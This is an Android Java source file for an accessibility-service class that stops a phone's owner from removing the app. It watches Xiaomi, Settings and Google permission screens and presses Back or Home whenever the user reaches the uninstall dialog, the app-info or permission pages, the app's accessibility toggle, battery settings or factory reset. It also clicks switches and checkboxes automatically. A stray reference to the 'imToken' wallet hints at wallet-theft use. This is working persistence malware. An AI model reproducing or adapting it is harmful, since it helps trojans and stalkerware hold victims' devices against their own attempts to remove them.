package com.demo.accessibilitykeeper;

import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.graphics.Rect;
import android.os.Build;
import android.os.Handler;
import android.util.Log;
import android.view.accessibility.AccessibilityNodeInfo;

import java.util.Iterator;
import java.util.List;

public class UninstallBackSet {
    private static final int CLOSEDIALOG = 2;
    private static final int SHOWDIALOG = 1;
    private static final String TAG = "UninstallBackSet";
    
    private static AccessibilityService service = null;
    private static String thisappName = "";
    private static String thisappName2 = " ";
    private static String thisappName3 = "";
    private AccessibilityNodeInfo nodeInfo;
    private static String brand = Build.MANUFACTURER;
    private static int height = 0;
    private static int width = 0;
    private static int left = 0;
    private static int top = 0;
    public static boolean isshow = false;
    private static int allheight = 0;
    private static int screenheight = 0;
    private static int allboom = 0;
    private static boolean isbdhith = false;
    public static boolean action = false;
    public static String LongClickName = "";
    private static boolean ishuaweimenu = false;
    private static String testappname = "imToken";
    private static boolean isthisscreen = false;
    private static Handler handler = new Handler();
    
    public static void initNouninstall(Context context) {
        brand = Build.MANUFACTURER;
        thisappName3 = context.getString(R.string.app_name);
        thisappName2 = context.getString(R.string.app_name);
        screenheight = context.getResources().getDisplayMetrics().heightPixels;
    }
    
    public static void setService(AccessibilityService accessibilityService) {
        service = accessibilityService;
    }
    
    public static void handleUninstallProtection(AccessibilityNodeInfo accessibilityNodeInfo) {
        if (service == null || accessibilityNodeInfo == null) {
            return;
        }
        
        String packageName = accessibilityNodeInfo.getPackageName().toString();
        if (packageName == null) {
            return;
        }
        
        Log.d(TAG, "🔍 Checking uninstall protection for package: " + packageName);
        
        // 根据不同的包名处理不同的卸载界面
        switch (packageName) {
            case "com.miui.home":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.miui.securitycenter":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.miui.cleanmaster":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.miui.packageinstaller":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.android.settings":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.xiaomi.market":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.xiaomi.misettings":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.miui.cleaner":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            case "com.google.android.permissioncontroller":
                uninstallxiaomi(accessibilityNodeInfo);
                break;
            default:
                // 通用处理
                handleGenericUninstall(accessibilityNodeInfo);
                break;
        }
    }
    
    private static void uninstallxiaomi(AccessibilityNodeInfo accessibilityNodeInfo) {
        String packageName = accessibilityNodeInfo.getPackageName().toString();
        if (packageName == null) {
            return;
        }
        
        Log.d(TAG, "🔍 Processing Xiaomi uninstall protection for: " + packageName);
        
        try {
            if (packageName.equals("com.miui.home")) {
                // 处理小米桌面卸载
                handleMiuiHomeUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.miui.securitycenter")) {
                // 处理小米安全中心卸载
                handleMiuiSecurityCenterUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.miui.cleanmaster")) {
                // 处理小米清理大师卸载
                handleMiuiCleanMasterUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.miui.packageinstaller")) {
                // 处理小米包安装器卸载
                handleMiuiPackageInstallerUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.android.settings")) {
                // 处理Android设置卸载
                handleAndroidSettingsUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.xiaomi.market")) {
                // 处理小米应用商店卸载
                handleXiaomiMarketUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.xiaomi.misettings")) {
                // 处理小米设置卸载
                handleXiaomiMiSettingsUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.miui.cleaner")) {
                // 处理小米清理器卸载
                handleMiuiCleanerUninstall(accessibilityNodeInfo);
            } else if (packageName.equals("com.google.android.permissioncontroller")) {
                // 处理Google权限控制器卸载
                handleGooglePermissionControllerUninstall(accessibilityNodeInfo);
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in uninstallxiaomi", e);
        }
    }
    
    private static void handleMiuiHomeUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            // 检查底部弹出卸载对话框
            List<AccessibilityNodeInfo> customNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("android:id/custom");
            if (customNodes.size() > 0) {
                List<AccessibilityNodeInfo> titleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.home:id/title");
                if (titleNodes.size() > 0) {
                    CharSequence titleText = titleNodes.get(0).getText();
                    if (titleText != null && isthisnamecontains(titleText.toString())) {
                        doHome();
                        doBack();
                        Log.e(TAG, "小米底部弹出卸载对话框: " + titleText);
                    }
                }
            }
            
            // 检查顶部弹出卸载对话框
            List<AccessibilityNodeInfo> uninstallDialogNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.home:id/uninstall_dialog");
            if (uninstallDialogNodes.size() > 0 && uninstallDialogNodes.get(0).isVisibleToUser()) {
                List<AccessibilityNodeInfo> titleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.home:id/title");
                if (titleNodes.size() > 0) {
                    CharSequence titleText = titleNodes.get(0).getText();
                    if (titleText != null) {
                        String titleString = titleText.toString();
                        if (isthisnamecontains(titleString) || titleString.equals("修改壁纸")) {
                            doBack();
                            List<AccessibilityNodeInfo> editModeNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.home:id/edit_mode_checkbox");
                            if (editModeNodes.size() > 0) {
                                doBack();
                                doBack();
                                doBack();
                            }
                        }
                    }
                }
            }
            
            // 检查桌面长按卸载
            List<AccessibilityNodeInfo> editModeCheckboxNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.home:id/edit_mode_checkbox");
            if (editModeCheckboxNodes.size() > 0) {
                for (AccessibilityNodeInfo checkboxNode : editModeCheckboxNodes) {
                    if (checkboxNode.isChecked()) {
                        AccessibilityNodeInfo parent = checkboxNode.getParent();
                        if (parent != null) {
                            CharSequence contentDescription = parent.getContentDescription();
                            if (contentDescription != null && isthisname(contentDescription.toString())) {
                                doBack();
                                Log.e(TAG, "小米11桌面长按卸载: " + contentDescription);
                            }
                            
                            List<AccessibilityNodeInfo> iconTitleNodes = parent.findAccessibilityNodeInfosByViewId("com.miui.home:id/icon_title");
                            if (iconTitleNodes.size() > 0) {
                                CharSequence iconTitle = iconTitleNodes.get(0).getText();
                                if (iconTitle != null && isthisname(iconTitle.toString())) {
                                    doBack();
                                    Log.e(TAG, "小米11桌面长按卸载2222: " + iconTitle);
                                }
                            }
                        }
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleMiuiHomeUninstall", e);
        }
    }
    
    private static void handleMiuiSecurityCenterUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            // 检查应用管理器详情
            List<AccessibilityNodeInfo> appLabelNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/app_manager_details_applabel");
            for (AccessibilityNodeInfo node : appLabelNodes) {
                CharSequence text = node.getText();
                if (text != null && isthisname(text.toString())) {
                    doBack();
                    Log.e(TAG, "app调用卸载: " + text);
                    break;
                }
            }
            
            // 检查权限窗口
            if (accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/alertTitle").size() > 0) {
                if (accessibilityNodeInfo.findAccessibilityNodeInfosByText("允许").size() > 0) {
                    doBack();
                    Log.e(TAG, "小米8.1单独权限窗口");
                }
                
                List<AccessibilityNodeInfo> alertTitleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/alertTitle");
                if (alertTitleNodes.size() > 0) {
                    CharSequence titleText = alertTitleNodes.get(0).getText();
                    if (titleText != null) {
                        String titleString = titleText.toString();
                        if (isthisnamecontains(titleString) || titleString.contains("全部") || titleString.contains("重置应用偏好")) {
                            doBack();
                            Log.e(TAG, "小米11设置:屏幕共享提醒");
                        }
                    }
                }
            }
            
            // 检查应用信息界面
            List<AccessibilityNodeInfo> headerTitleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/header_title");
            List<AccessibilityNodeInfo> inputNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("android:id/input");
            if (headerTitleNodes.size() > 0 && accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/title").size() > 0) {
                // 处理复选框
                findAndHandleCheckboxes(accessibilityNodeInfo, inputNodes);
            }
            
            // 检查电池界面
            if (accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/action_bar").size() > 0 && 
                accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/pc_power_view").size() > 0) {
                doBack();
                Log.e(TAG, "小米13澎湃电池界面");
            }
            
            // 检查应用权限界面
            List<AccessibilityNodeInfo> actionBarTitleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/action_bar_title_expand");
            if (actionBarTitleNodes.size() > 0) {
                CharSequence titleText = actionBarTitleNodes.get(0).getText();
                if (titleText != null) {
                    String titleString = titleText.toString();
                    if (isthisname(titleString)) {
                        doBack();
                        Log.e(TAG, "小米12自己应用所有权限界面: " + titleString);
                    } else if (titleString.equals("省电模式")) {
                        doBack();
                        Log.e(TAG, "小米11省电模式界面");
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleMiuiSecurityCenterUninstall", e);
        }
    }
    
    private static void handleMiuiCleanMasterUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> nameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.cleanmaster:id/name");
            for (AccessibilityNodeInfo node : nameNodes) {
                CharSequence text = node.getText();
                if (text != null && isthisname(text.toString())) {
                    if (node.isSelected()) {
                        doBack();
                        Log.e(TAG, "小米11.0系统卸载界面: " + text);
                        break;
                    }
                    
                    AccessibilityNodeInfo parent = node.getParent();
                    if (parent != null) {
                        AccessibilityNodeInfo grandParent = parent.getParent();
                        if (grandParent != null) {
                            List<AccessibilityNodeInfo> checkboxNodes = grandParent.findAccessibilityNodeInfosByViewId("com.miui.cleanmaster:id/checkbox");
                            if (checkboxNodes.size() > 0 && checkboxNodes.get(0) != null) {
                                Log.e(TAG, "小米10.0系统卸载界面");
                                doBack();
                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleMiuiCleanMasterUninstall", e);
        }
    }
    
    private static void handleMiuiPackageInstallerUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> appNameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.packageinstaller:id/app_name");
            if (appNameNodes.size() > 0) {
                CharSequence appName = appNameNodes.get(0).getText();
                if (appName != null && isthisname(appName.toString())) {
                    doBack();
                    Log.e(TAG, "小米第三方应用调用卸载界面: " + appName);
                }
            }
            
            if (accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.packageinstaller:id/action_button").size() > 0) {
                doBack();
                Log.e(TAG, "小米开启安全守护界面");
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleMiuiPackageInstallerUninstall", e);
        }
    }
    
    private static void handleAndroidSettingsUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            // 检查应用信息界面
            List<AccessibilityNodeInfo> titleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("android:id/title");
            List<AccessibilityNodeInfo> actionBarTitleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("miui:id/action_bar_title");
            
            if (titleNodes.size() > 0 && actionBarTitleNodes.size() > 0) {
                for (AccessibilityNodeInfo titleNode : titleNodes) {
                    CharSequence text = titleNode.getText();
                    if (text != null) {
                        String textString = text.toString();
                        if (textString.contains(thisappName) || textString.contains(thisappName3)) {
                            findAndHandleSwitches(accessibilityNodeInfo, text);
                            break;
                        }
                    }
                }
            }
            
            // 检查恢复出厂设置界面
            List<AccessibilityNodeInfo> actionBarTitleExpandNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.settings:id/action_bar_title_expand");
            List<AccessibilityNodeInfo> actionMenuItemIconNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.settings:id/action_menu_item_child_icon");
            
            if (actionBarTitleExpandNodes.size() > 0 && actionMenuItemIconNodes.size() == 0) {
                List<AccessibilityNodeInfo> clearAllDataNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.settings:id/clear_all_data_text");
                List<AccessibilityNodeInfo> actionMenuItemTextNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.settings:id/action_menu_item_child_text");
                
                if (clearAllDataNodes.size() > 0 || actionMenuItemTextNodes.size() > 0) {
                    Log.e(TAG, "小米12恢复出厂设置界面");
                    doBack();
                }
            }
            
            // 检查无障碍界面
            List<AccessibilityNodeInfo> switchTextNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.settings:id/switch_text");
            if (switchTextNodes.size() > 0) {
                AccessibilityNodeInfo switchTextNode = switchTextNodes.get(0);
                if (actionBarTitleExpandNodes.size() > 0) {
                    AccessibilityNodeInfo actionBarTitleNode = actionBarTitleExpandNodes.get(0);
                    if (actionBarTitleNode != null && switchTextNode != null) {
                        CharSequence titleText = actionBarTitleNode.getText();
                        CharSequence switchText = switchTextNode.getText();
                        if (titleText != null && switchText != null) {
                            String titleString = titleText.toString();
                            if (isthisname(titleString) && isthisnamecontains(titleString)) {
                                doBack();
                                Log.e(TAG, "小米12自己无障碍界面: " + titleString);
                            }
                        }
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleAndroidSettingsUninstall", e);
        }
    }
    
    private static void handleXiaomiMarketUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> nameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.xiaomi.market:id/name");
            for (AccessibilityNodeInfo node : nameNodes) {
                CharSequence text = node.getText();
                if (text != null && isthisname(text.toString())) {
                    AccessibilityNodeInfo parent = node.getParent();
                    if (parent != null) {
                        AccessibilityNodeInfo grandParent = parent.getParent();
                        if (grandParent != null) {
                            findAndHandleCheckboxes(grandParent, null);
                        }
                    }
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleXiaomiMarketUninstall", e);
        }
    }
    
    private static void handleXiaomiMiSettingsUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> mainNameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.xiaomi.misettings:id/id_main_name");
            List<AccessibilityNodeInfo> appNameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.xiaomi.misettings:id/tv_app_name");
            
            List<AccessibilityNodeInfo> nameNodes = mainNameNodes.size() > 0 ? mainNameNodes : 
                (appNameNodes.size() > 0 ? appNameNodes : null);
            
            if (nameNodes != null && nameNodes.size() > 0) {
                CharSequence text = nameNodes.get(0).getText();
                if (text != null && isthisname(text.toString())) {
                    findAndHandleCheckboxes(accessibilityNodeInfo, null);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleXiaomiMiSettingsUninstall", e);
        }
    }
    
    private static void handleMiuiCleanerUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> nameNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.miui.cleaner:id/name");
            for (AccessibilityNodeInfo node : nameNodes) {
                CharSequence text = node.getText();
                if (text != null && isthisname(text.toString())) {
                    doBack();
                    Log.e(TAG, "小米海外10自己应用权限界面: " + text);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleMiuiCleanerUninstall", e);
        }
    }
    
    private static void handleGooglePermissionControllerUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            List<AccessibilityNodeInfo> entityHeaderTitleNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId("com.android.permissioncontroller:id/entity_header_title");
            if (entityHeaderTitleNodes.size() > 0) {
                CharSequence titleText = entityHeaderTitleNodes.get(0).getText();
                if (titleText != null && isthisname(titleText.toString())) {
                    doBack();
                    Log.e(TAG, "Google权限控制器卸载界面: " + titleText);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleGooglePermissionControllerUninstall", e);
        }
    }
    
    private static void handleGenericUninstall(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            // 通用卸载保护逻辑
            Log.d(TAG, "🔍 Handling generic uninstall protection");
            
            // 检查常见的卸载相关文本
            List<AccessibilityNodeInfo> uninstallNodes = accessibilityNodeInfo.findAccessibilityNodeInfosByText("卸载");
            if (uninstallNodes.size() > 0) {
                for (AccessibilityNodeInfo node : uninstallNodes) {
                    if (node.isClickable()) {
                        // 检查是否涉及我们的应用
                        AccessibilityNodeInfo parent = node.getParent();
                        if (parent != null) {
                            List<AccessibilityNodeInfo> textNodes = parent.findAccessibilityNodeInfosByText(thisappName);
                            if (textNodes.size() > 0) {
                                doBack();
                                Log.e(TAG, "通用卸载保护触发: " + thisappName);
                                break;
                            }
                        }
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleGenericUninstall", e);
        }
    }
    
    private static void findAndHandleCheckboxes(AccessibilityNodeInfo rootNode, List<AccessibilityNodeInfo> inputNodes) {
        try {
            // 使用递归方式查找复选框
            findAndHandleCheckboxesRecursive(rootNode);
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in findAndHandleCheckboxes", e);
        }
    }
    
    private static void findAndHandleCheckboxesRecursive(AccessibilityNodeInfo node) {
        if (node == null) return;
        
        try {
            // 检查当前节点是否是复选框
            if ("android.widget.CheckBox".equals(node.getClassName()) && node.isClickable()) {
                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                Log.d(TAG, "取消选择复选框");
            }
            
            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    findAndHandleCheckboxesRecursive(child);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in findAndHandleCheckboxesRecursive", e);
        }
    }
    
    private static void findAndHandleSwitches(AccessibilityNodeInfo rootNode, CharSequence targetText) {
        try {
            // 使用递归方式查找开关
            findAndHandleSwitchesRecursive(rootNode, targetText);
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in findAndHandleSwitches", e);
        }
    }
    
    private static void findAndHandleSwitchesRecursive(AccessibilityNodeInfo node, CharSequence targetText) {
        if (node == null) return;
        
        try {
            // 检查当前节点是否是开关
            if ("android.widget.Switch".equals(node.getClassName()) && node.isClickable()) {
                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                Log.d(TAG, "关闭开关: " + targetText);
            }
            
            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    findAndHandleSwitchesRecursive(child, targetText);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in findAndHandleSwitchesRecursive", e);
        }
    }
    
    private static boolean isthisname(String name) {
        if (name == null) return false;
        return name.contains(thisappName) || name.contains(thisappName2) || name.contains(thisappName3);
    }
    
    private static boolean isthisnamecontains(String name) {
        if (name == null) return false;
        return name.contains(thisappName) || name.contains(thisappName2) || name.contains(thisappName3);
    }
    
    private static void doBack() {
        if (service != null) {
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK);
            Log.d(TAG, "执行返回操作");
        }
    }
    
    private static void doHome() {
        if (service != null) {
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME);
            Log.d(TAG, "执行主页操作");
        }
    }
}
